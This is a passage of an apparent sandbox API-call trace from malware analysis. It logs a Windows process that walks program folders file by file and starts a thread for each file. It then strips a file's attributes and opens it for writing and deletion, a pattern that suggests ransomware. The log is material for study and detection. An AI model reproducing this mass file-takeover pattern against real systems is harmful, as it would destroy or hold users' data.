Journal\\Templates\\Dotted_Line.jtp" [0144.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0c [0144.760] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0144.760] wcscmp (_String1="Genko_1.jtp", _String2=".") returned 1 [0144.760] wcscmp (_String1="Genko_1.jtp", _String2="..") returned 1 [0144.760] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c620 [0144.760] wcscpy (in: _Dest=0x93c620, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.760] wcscat (in: _Dest=0x93c620, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.760] wcscat (in: _Dest=0x93c620, _Source="Genko_1.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" [0144.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd10 [0144.762] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0144.762] wcscmp (_String1="Genko_2.jtp", _String2=".") returned 1 [0144.762] wcscmp (_String1="Genko_2.jtp", _String2="..") returned 1 [0144.762] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c698 [0144.762] wcscpy (in: _Dest=0x93c698, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.762] wcscat (in: _Dest=0x93c698, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.762] wcscat (in: _Dest=0x93c698, _Source="Genko_2.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" [0144.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14 [0144.763] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0144.763] wcscmp (_String1="Graph.jtp", _String2=".") returned 1 [0144.763] wcscmp (_String1="Graph.jtp", _String2="..") returned 1 [0144.763] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c710 [0144.763] wcscpy (in: _Dest=0x93c710, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.763] wcscat (in: _Dest=0x93c710, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.763] wcscat (in: _Dest=0x93c710, _Source="Graph.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" [0144.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18 [0144.764] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0144.764] wcscmp (_String1="Memo.jtp", _String2=".") returned 1 [0144.764] wcscmp (_String1="Memo.jtp", _String2="..") returned 1 [0144.764] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1058 [0144.764] wcscpy (in: _Dest=0x8f1058, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.764] wcscat (in: _Dest=0x8f1058, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.764] wcscat (in: _Dest=0x8f1058, _Source="Memo.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" [0144.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c [0144.766] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0144.766] wcscmp (_String1="Month_Calendar.jtp", _String2=".") returned 1 [0144.766] wcscmp (_String1="Month_Calendar.jtp", _String2="..") returned 1 [0144.766] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8cd0 [0144.766] wcscpy (in: _Dest=0x8f8cd0, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.766] wcscat (in: _Dest=0x8f8cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.766] wcscat (in: _Dest=0x8f8cd0, _Source="Month_Calendar.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" [0144.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20 [0144.767] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0144.767] wcscmp (_String1="Music.jtp", _String2=".") returned 1 [0144.767] wcscmp (_String1="Music.jtp", _String2="..") returned 1 [0144.767] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c788 [0144.767] wcscpy (in: _Dest=0x93c788, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.767] wcscat (in: _Dest=0x93c788, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.767] wcscat (in: _Dest=0x93c788, _Source="Music.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" [0144.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24 [0144.768] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0144.768] wcscmp (_String1="Seyes.jtp", _String2=".") returned 1 [0144.768] wcscmp (_String1="Seyes.jtp", _String2="..") returned 1 [0144.768] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c800 [0144.768] wcscpy (in: _Dest=0x93c800, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.768] wcscat (in: _Dest=0x93c800, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.768] wcscat (in: _Dest=0x93c800, _Source="Seyes.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" [0144.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28 [0144.769] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0144.769] wcscmp (_String1="Shorthand.jtp", _String2=".") returned 1 [0144.769] wcscmp (_String1="Shorthand.jtp", _String2="..") returned 1 [0144.769] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfd00 [0144.769] wcscpy (in: _Dest=0x8cfd00, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.769] wcscat (in: _Dest=0x8cfd00, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.769] wcscat (in: _Dest=0x8cfd00, _Source="Shorthand.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" [0144.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd2c [0144.770] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0144.770] wcscmp (_String1="To_Do_List.jtp", _String2=".") returned 1 [0144.770] wcscmp (_String1="To_Do_List.jtp", _String2="..") returned 1 [0144.770] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x99e908 [0144.770] wcscpy (in: _Dest=0x99e908, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0144.771] wcscat (in: _Dest=0x99e908, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0144.771] wcscat (in: _Dest=0x99e908, _Source="To_Do_List.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" [0144.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99e908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd30 [0144.772] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0 [0144.772] FindClose (in: hFindFile=0x9422b0 | out: hFindFile=0x9422b0) returned 1 [0144.773] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91e628) returned 1 [0144.773] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea78) returned 1 [0144.773] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff248) returned 1 Thread: id = 2002 os_tid = 0x90c [0142.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8fee88 [0142.090] wcscpy (in: _Dest=0x8fee88, _Source="C:\\Program Files (x86)\\Windows Mail\\en-US" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0142.090] wcscat (in: _Dest=0x8fee88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="C:\\Program Files (x86)\\Windows Mail\\en-US\\" [0142.090] wcscat (in: _Dest=0x8fee88, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="C:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0142.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91d550 [0142.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422b0 [0142.421] wcscmp (_String1=".", _String2=".") returned 0 [0142.421] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.421] wcscmp (_String1="..", _String2=".") returned 1 [0142.421] wcscmp (_String1="..", _String2="..") returned 0 [0142.421] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0142.421] wcscmp (_String1="msoeres.dll.mui", _String2=".") returned 1 [0142.421] wcscmp (_String1="msoeres.dll.mui", _String2="..") returned 1 [0142.421] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0142.421] wcscmp (_String1="WinMail.exe.mui", _String2=".") returned 1 [0142.421] wcscmp (_String1="WinMail.exe.mui", _String2="..") returned 1 [0142.421] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0142.421] FindClose (in: hFindFile=0x9422b0 | out: hFindFile=0x9422b0) returned 1 [0142.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d550) returned 1 [0142.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fee88) returned 1 [0142.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff3c8) returned 1 Thread: id = 2003 os_tid = 0x96c [0142.092] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8cfe80 [0142.092] wcscpy (in: _Dest=0x8cfe80, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0142.092] wcscat (in: _Dest=0x8cfe80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\" [0142.092] wcscat (in: _Dest=0x8cfe80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*" [0142.092] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91ed60 [0142.092] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9fd0 [0142.093] wcscmp (_String1=".", _String2=".") returned 0 [0142.093] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.093] wcscmp (_String1="..", _String2=".") returned 1 [0142.093] wcscmp (_String1="..", _String2="..") returned 0 [0142.093] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0142.093] wcscmp (_String1="1033", _String2=".") returned 1 [0142.093] wcscmp (_String1="1033", _String2="..") returned 1 [0142.093] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f73d8 [0142.093] wcscpy (in: _Dest=0x8f73d8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0142.093] wcscat (in: _Dest=0x8f73d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\" [0142.093] wcscat (in: _Dest=0x8f73d8, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" [0142.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f73d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0142.798] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557a0300, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x557a0300, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x11348, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkg.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1 [0142.798] wcscmp (_String1="VSTAClientPkg.dll", _String2=".") returned 1 [0142.798] wcscmp (_String1="VSTAClientPkg.dll", _String2="..") returned 1 [0142.798] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1 [0142.798] wcscmp (_String1="VSTAProject.dll", _String2=".") returned 1 [0142.798] wcscmp (_String1="VSTAProject.dll", _String2="..") returned 1 [0142.798] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0 [0142.798] FindClose (in: hFindFile=0x8d9fd0 | out: hFindFile=0x8d9fd0) returned 1 [0142.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ed60) returned 1 [0142.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfe80) returned 1 [0142.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d1080) returned 1 Thread: id = 2004 os_tid = 0x970 [0142.093] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d")) returned 0x2026 [0142.467] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D", dwFileAttributes=0x20) returned 0 [0142.467] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 